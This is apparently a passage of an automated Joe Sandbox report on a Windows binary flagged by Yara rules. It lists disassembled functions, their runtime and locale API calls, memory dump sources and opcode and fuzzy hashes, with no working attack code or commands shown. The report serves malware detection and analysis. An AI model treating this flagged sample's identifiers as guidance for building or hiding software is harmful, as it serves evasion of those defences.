                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$_free$InfoLocale_abort
                                                                                            • String ID:
                                                                                            • API String ID: 1663032902-0
                                                                                            • Opcode ID: bc85fdc09d4fce3dfbe50538f39d64f32c4b6099e2a05669c9b1daebb1f6e385
                                                                                            • Instruction ID: 0b21b5069fbf1db5bec531630a8d3eee6f1f474d64bb54c6a1c44a3d8e2cc721
                                                                                            • Opcode Fuzzy Hash: bc85fdc09d4fce3dfbe50538f39d64f32c4b6099e2a05669c9b1daebb1f6e385
                                                                                            • Instruction Fuzzy Hash: 2221D372501206ABEB24AB25CC61B7B77ACEB04316F10017BFD01D6663EB78AD49CB58
                                                                                            Function 00450F52 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004470CF: GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 00447106
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                              • Part of subcall function 004470CF: _abort.LIBCMT ref: 0044714D
                                                                                            • EnumSystemLocalesW.KERNEL32(0045107A,00000001,00000000,?,00443EFC,?,004516A7,00000000,?,?,?), ref: 00450FC4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                            • String ID:
                                                                                            • API String ID: 1084509184-0
                                                                                            • Opcode ID: 2806d9e87b91580947c38d8a0617f63d2b95e775220bf3e675df36a013b02c7b
                                                                                            • Instruction ID: 451a354658792f2252a151bea30e2a99c0585190810680eeac5085bd3c0c80bb
                                                                                            • Opcode Fuzzy Hash: 2806d9e87b91580947c38d8a0617f63d2b95e775220bf3e675df36a013b02c7b
                                                                                            • Instruction Fuzzy Hash: FD11293B2007019FDB28AF39C8916BABB92FF8435AB14442DE94747B41D7B9B847C744
                                                                                            Function 004514FA Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004470CF: GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 00447106
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                              • Part of subcall function 004470CF: _abort.LIBCMT ref: 0044714D
                                                                                            • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00451298,00000000,00000000,?), ref: 00451526
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$InfoLocale_abort_free
                                                                                            • String ID:
                                                                                            • API String ID: 2692324296-0
                                                                                            • Opcode ID: e61a00dc03fcb481ae1f4eaad0348555d58099959c5ffac150b0217cf8aecc77
                                                                                            • Instruction ID: d2fe2c3fce417e68b0623dfb5eb434355baf81d8c10f12b7a8aa08190ad777f0
                                                                                            • Opcode Fuzzy Hash: e61a00dc03fcb481ae1f4eaad0348555d58099959c5ffac150b0217cf8aecc77
                                                                                            • Instruction Fuzzy Hash: 4AF0F9326102197BDB289A258C46BBB7758EB80755F04046AEC07A3251FA78FD45C6D4
                                                                                            Function 00450FED Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004470CF: GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 00447106
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                              • Part of subcall function 004470CF: _abort.LIBCMT ref: 0044714D
                                                                                            • EnumSystemLocalesW.KERNEL32(004512CA,00000001,?,?,00443EFC,?,0045166B,00443EFC,?,?,?,?,?,00443EFC,?,?), ref: 00451039
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                            • String ID:
                                                                                            • API String ID: 1084509184-0
                                                                                            • Opcode ID: 1383e35cddf71846be5f04bfb451628eb58ff654fdb94fb85b79533aadb6d968
                                                                                            • Instruction ID: 969c50ee721750b2a7664082bdad3607fc28c6e2ba06475257799e5d9796a5a7
                                                                                            • Opcode Fuzzy Hash: 1383e35cddf71846be5f04bfb451628eb58ff654fdb94fb85b79533aadb6d968
                                                                                            • Instruction Fuzzy Hash: 19F028363003045FDB245F76DC81B7B7B95EF8075DF04442EFD4187A92D6B99C828604
                                                                                            Function 004472BE Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00444CDC: EnterCriticalSection.KERNEL32(-00472558,?,0044246B,00000000,0046EAD0,0000000C,00442426,0000000A,?,?,00448949,0000000A,?,00447184,00000001,00000364), ref: 00444CEB
                                                                                            • EnumSystemLocalesW.KERNEL32(00447278,00000001,0046EC58,0000000C), ref: 004472F6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CriticalEnterEnumLocalesSectionSystem
                                                                                            • String ID:
                                                                                            • API String ID: 1272433827-0
                                                                                            • Opcode ID: ce5d864c7127ce76761e0cbea026e968eb5e88cd2d94c9e55423b39c5525c7e8
                                                                                            • Instruction ID: acebf021cc54f47487df9b00313a15cc1bfd22b3d47c3c45ccbcf72c34342655
                                                                                            • Opcode Fuzzy Hash: ce5d864c7127ce76761e0cbea026e968eb5e88cd2d94c9e55423b39c5525c7e8
                                                                                            • Instruction Fuzzy Hash: 97F06236620200DFEB10EF79DE46B5D37E0EB44715F10816AF414DB2A1CBB89981DB4D
                                                                                            Function 00450F07 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004470CF: GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 00447106
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                              • Part of subcall function 004470CF: _abort.LIBCMT ref: 0044714D
                                                                                            • EnumSystemLocalesW.KERNEL32(00450E5E,00000001,?,?,?,004516C9,00443EFC,?,?,?,?,?,00443EFC,?,?,?), ref: 00450F3E
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                            • String ID:
                                                                                            • API String ID: 1084509184-0
                                                                                            • Opcode ID: c0752d91e59c0ec8caa35cedbb84099f1f2f8e555a7fabae98b3644acfac0ab5
                                                                                            • Instruction ID: 7585e2e2e927d60b614fbbb7cbec4ece609ea7599c31e6a5607aeddcbc8761df
                                                                                            • Opcode Fuzzy Hash: c0752d91e59c0ec8caa35cedbb84099f1f2f8e555a7fabae98b3644acfac0ab5
                                                                                            • Instruction Fuzzy Hash: 89F0E53A30020557CB28AF35D845B6A7F94EFC1715B16449EFE098B252C67AD886C794
                                                                                            Function 00433EE2 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetUnhandledExceptionFilter.KERNEL32(Function_00033EEE,00433BBC), ref: 00433EE7
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ExceptionFilterUnhandled
                                                                                            • String ID:
                                                                                            • API String ID: 3192549508-0
                                                                                            • Opcode ID: e588410f7d772084ad9b5e6a201b2d06307ba3208cc6e1757a1b1bd45e9a1e30
                                                                                            • Instruction ID: 9bcc487b38fe881941be7e97ad5738302595bcb4dafebc2e14986f4c0a09dd7d
                                                                                            • Opcode Fuzzy Hash: e588410f7d772084ad9b5e6a201b2d06307ba3208cc6e1757a1b1bd45e9a1e30
                                                                                            • Instruction Fuzzy Hash:
                                                                                            Function 0042707E Relevance: 1.3, Strings: 1, Instructions: 96COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: @
                                                                                            • API String ID: 0-2766056989
                                                                                            • Opcode ID: 277f5b14ebfb31d9acdfcb19b599133ffeee57438103c682c3dacb2c81b16d7f
                                                                                            • Instruction ID: 918b0ebc11a623be2c3a075c7dacafa9f372a23f1c3751216f0e188bc6ec1ae1
                                                                                            • Opcode Fuzzy Hash: 277f5b14ebfb31d9acdfcb19b599133ffeee57438103c682c3dacb2c81b16d7f
                                                                                            • Instruction Fuzzy Hash: 75416771A087158FC314CE29C48162BFBE1FFC8310F648A1EF98693350D679E984CB86
                                                                                            Function 00437360 Relevance: 1.3, Strings: 1, Instructions: 76COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: NG
                                                                                            • API String ID: 0-1651712548
                                                                                            • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                            • Instruction ID: 1c32571a3dfe778fa5c185cf8bc6913e7641393edb8458615b62c9d9f031e262
                                                                                            • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                            • Instruction Fuzzy Hash: AA11E6F724C08243D635862DC4B46BBA795EBCD321F2C626BDCC24B758D23AA945F908
                                                                                            Function 10017194 Relevance: .8, Instructions: 751COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: f12bac2ceacaba3709f449de7301e54826307763cc64d35c491f096f7cc92462
                                                                                            • Instruction ID: 44f99013a838546abf86f75096a930c39f9ce457c7277da91ad5f6740c4fb7fb
                                                                                            • Opcode Fuzzy Hash: f12bac2ceacaba3709f449de7301e54826307763cc64d35c491f096f7cc92462
                                                                                            • Instruction Fuzzy Hash: 89628C316083958FD324DF28C48469ABBF1FF85384F154A2DE9E98B391E771D989CB42
                                                                                            Function 0044C949 Relevance: .6, Instructions: 637COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: daa15e32a72831e46b3c61932d047b022fcf8146eeed5cebd1c5d41c65fd85a6
                                                                                            • Instruction ID: 9a438bc9e2fc22055b190f670ef66c3370438dec1b294d2ef7e2678560d22162
                                                                                            • Opcode Fuzzy Hash: daa15e32a72831e46b3c61932d047b022fcf8146eeed5cebd1c5d41c65fd85a6
                                                                                            • Instruction Fuzzy Hash: BE325721D29F014DE7279A35C8623366689AFBB3C5F14D737F819B5AA6EF2CC5830105
                                                                                            Function 0041E7EA Relevance: .6, Instructions: 606COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 7f4af8b37f4defc4199b161d53b4d96f103fc90b589b5ac19ca4300a5eebd0f3
                                                                                            • Instruction ID: c1435a2baeed09a5a3259e0536aa218d1a742a19b3e0efe55a8499c03c4c3cac
                                                                                            • Opcode Fuzzy Hash: 7f4af8b37f4defc4199b161d53b4d96f103fc90b589b5ac19ca4300a5eebd0f3
                                                                                            • Instruction Fuzzy Hash: C332A1756087569BC715DF2AC4807ABB7E1BF84304F044A2EFC958B381D778DD868B8A
                                                                                            Function 004269D6 Relevance: .4, Instructions: 437COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 49923ba0373965d58fe21e3a4a04a2e805efb906394084f823fc6768166e364a
                                                                                            • Instruction ID: ba505550dfe6ff667973af58f2e26a28558ab2450a604d8934fff0a0de9d4b4c
                                                                                            • Opcode Fuzzy Hash: 49923ba0373965d58fe21e3a4a04a2e805efb906394084f823fc6768166e364a
                                                                                            • Instruction Fuzzy Hash: E002A071B145528FE318CF2EEC90536B7E1AB8D301745867EE486C7381EB74E922CB99
                                                                                            Function 0042645F Relevance: .4, Instructions: 377COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 14f2c04f30688e9b56e2fb3764798841ed8a236a41f0f424bf7fd8b45a1b82b0
                                                                                            • Instruction ID: 5a71f349ba3f9fd68778d37660bff7a0658bdf00a392eb754e277e7013b3f26f
                                                                                            • Opcode Fuzzy Hash: 14f2c04f30688e9b56e2fb3764798841ed8a236a41f0f424bf7fd8b45a1b82b0
                                                                                            • Instruction Fuzzy Hash: 01F17171A142558FD304DF1DE89187B73E4FB89301B44092EF183D7391DA74EA19CBAA
                                                                                            Function 00431582 Relevance: .4, Instructions: 371COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: a8269e18aa3b2fd96c1213e9b8022c4c073f53bdae2f6b844dfaaafdf28db3f1
                                                                                            • Instruction ID: a41bb019b54bfded01c7b41d156f95a2cbb072d1dd28d49048bf85c092e0f3ee
                                                                                            • Opcode Fuzzy Hash: a8269e18aa3b2fd96c1213e9b8022c4c073f53bdae2f6b844dfaaafdf28db3f1
                                                                                            • Instruction Fuzzy Hash: 27D191B1A083158BC721DE69C490A5FB7E4BF88354F445A2EF8D597321E738DE09CB86
                                                                                            Function 0041D27C Relevance: .3, Instructions: 276COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: e7326b31f45d4e50c8c50174bee11f9882207dfed74e31d12f4697374e1987de
                                                                                            • Instruction ID: 3c41eba25cca95e3826e3c7b6cd4dae3ec9239a5c93a684b18aa23140a28fc10
                                                                                            • Opcode Fuzzy Hash: e7326b31f45d4e50c8c50174bee11f9882207dfed74e31d12f4697374e1987de
                                                                                            • Instruction Fuzzy Hash: A9B184795142998ACB05EF68C4913F63BA1EF6A300F0851B9EC9CCF757D3398506EB64
                                                                                            Function 00436C9D Relevance: .3, Instructions: 254COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
                                                                                            • Instruction ID: ead0cef3b0fda5c4522f49b9ed51e98e8a5165699e21cbc4f344a2de8f03cfd9
                                                                                            • Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
